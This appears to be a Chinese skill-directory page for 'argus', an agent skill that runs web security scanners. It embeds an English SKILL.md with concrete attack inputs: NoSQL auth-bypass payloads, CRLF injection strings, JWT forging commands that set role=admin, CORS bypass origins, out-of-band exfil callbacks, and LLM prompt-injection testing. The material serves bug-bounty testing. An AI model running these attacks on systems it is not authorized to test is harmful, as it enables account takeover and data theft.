argus
它能做什么
这项技能教智能体如何对 Web 应用或 API 运行一组安全扫描器。每个扫描器针对一类常见弱点,并报告其发现。
适用场景
- ✓当安全测试人员需要检查 API 是否存在过于开放的跨域访问设置的时候。
- ✓当测试人员持有 JWT 令牌,想检查其中是否存在常见签名错误的时候。
- ✓当测试人员怀疑存在盲注漏洞,需要带外确认步骤的时候。
技能链接
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/argus/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请扫描我的测试 API,检查 CORS 和 JWT 的弱点,并列出你发现的问题。”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会把目标上看到的特征匹配到合适的扫描器,使用目标地址和任何登录 Cookie 运行它,然后总结结果。每项结果都会标注严重程度。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
ARGUS — THE ALL-SEEING SCANNER SUITE
Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the NoSQL "db" surface, JWT forging, blind-bug confirmation via OOB (the eye that sees the invisible — unblocks an entire severity band), and automated LLM red-teaming. All pure-Python, no new deps. Core logic is offline-testable.
0. ROUTING — which tool for what
| Signal on the target | Tool / command |
|---|---|
API reflects Origin, or ACAO/ACAC headers seen |
/cors |
Param reaches a redirect / Location / log / response header |
/crlf |
JSON login or {user,pass} body, Mongo/Mongoose stack |
/nosqli |
Authorization: Bearer ey... / JWT in cookie or storage |
/jwt-scan |
| Suspected blind SSRF/XXE/SQLi/RCE (no in-band signal) | /oob |
| Chatbot / agent / LLM feature | /llm-redteam |
1. CORS — /cors
bughunter/tools/cors_scanner.py https://api.target.com/me --cookie "session=..."
bughunter/tools/cors_scanner.py -l recon/target.com/urls/api.txt --json
Sends crafted Origin headers, classifies Access-Control-Allow-Origin /
Access-Control-Allow-Credentials:
- CRITICAL — reflects attacker origin with
ACAC: true→ cookie-auth'd cross-origin read (account-data exfil). - HIGH —
nullorigin trusted with credentials. - MEDIUM — reflects without creds (exploitable when auth = non-cookie token), or trusts http downgrade.
- Probes suffix/prefix regex bypass (
target.com.evil,notarget.com) and subdomain trust (chains with takeover).
Always pass --cookie with a live session — the credentialed path is the win.
2. CRLF / host-header — /crlf
bughunter/tools/crlf_scanner.py "https://target.com/r?u=x" --host-header
Injects encoded CRLF (%0d%0a, double-encoded, UTF-8 overlong %E5%98%8A%E5%98%8D)
trying to land Set-Cookie: crlftest=1 in the response. --host-header also tests
Host / X-Forwarded-Host / Forwarded injection and flags attacker-host
reflection in Location (password-reset poisoning). Impact: session fixation,
open redirect, cache poisoning, reset poisoning.
urllibstrips raw\r\nfrom URLs by design — the encoded variants are what actually go on the wire.
3. NoSQL injection — /nosqli
bughunter/tools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password
bughunter/tools/nosqli_scanner.py --query "https://t/api/items?id=1" # emits bracket variants
- Operator auth-bypass:
{"email":{"$ne":null},"password":{"$ne":null}} - Bracket syntax (Express/qs):
email[$ne]=&password[$ne]= $wheretime-based blind:{"$where":"sleep(5000)"}→ server-side JS eval = CRITICAL
Sends a wrong-credential baseline first, flags a finding when status flips
401→200, body length jumps >25%, or the $where payload delays the response ≥3.5 s.
4. JWT attacks — /jwt-scan (offline)
bughunter/tools/jwt_scanner.py "$TOKEN" --analyze
bughunter/tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin
bughunter/tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin
bughunter/tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt
--alg-none— strip signature, setalgto none/None/NONE/nOnE.--confuse— RS256→HS256: re-sign with the server's public key as HMAC secret.--crack— brute the HS256 secret.--analyze— flagsalg=none, missingexp, trust-bearing claims (role/is_admin/scope),kid(probe for traversal/SQLi).
Get the public key from /.well-known/jwks.json or /jwks.json. Replay the
forged token against an authed endpoint — acceptance = auth bypass / privesc.
5. Out-of-band confirmation — /oob ⭐
The highest-leverage tool. Confirms blind bugs that have no in-band signal by correlating interactsh callbacks to the firing payload.
# 1. listener (prints your OOB domain, streams interactions)
bughunter/tools/oob_listener.py --listen > inter.jsonl
# 2. payloads embedding a unique marker per injection point
bughunter/tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json
# 3. correlate received callbacks
bughunter/tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json
Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL xp_dirtree / MySQL
LOAD_FILE / Oracle
常见问题
需要安装额外的工具吗?
这项技能说明,扫描器是纯 Python 实现,无需新增依赖。
它涵盖哪些弱点类型?
它涵盖跨域配置错误、CRLF 和 Host 头注入、NoSQL 注入、JWT 攻击、带外确认以及 LLM 红队测试。
它能测试登录后的页面吗?
能。这项技能展示了如何把会话 Cookie 传给扫描器。
详情
作者的原始描述
Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack), out-of-band confirmation of blind SSRF/XXE/SQLi/RCE/Log4Shell via interactsh, and an LLM red-team corpus (prompt-injection / jailbreak / system-prompt leak / exfil / indirect injection). Use when a target exposes a JSON API, a login endpoint, JWT auth, a parameter that might reach
热度
- GitHub 星标
- 5.5k
- 排名
- #14782
- 许可证
- MIT
- 更新时间
- 2026/10/28
评论
- …
同一仓库的更多技能
bug-bounty
5.5k帮你的智能体分阶段规划漏洞赏金审查,从检查项目范围、梳理资产,到测试线索、验证影响并撰写报告。
agentic-app-audit
5.5k帮你的智能体从外部审查正在运行的 AI 助手,检查其是否存在工具调用被劫持、记忆被投毒,以及以超出用户权限的方式执行操作等风险。
bb-methodology
5.5k帮你的智能体规划一次漏洞赏金测试会话,分阶段选择下一步和合适的检查,并舍弃无法造成真正危害的想法。
bug-bounty
5.5k帮你的智能体运行完整的漏洞赏金工作流,从信息收集到撰写报告,涵盖常见的 Web 缺陷、AI 应用安全测试,并把小漏洞串联成真正的影响。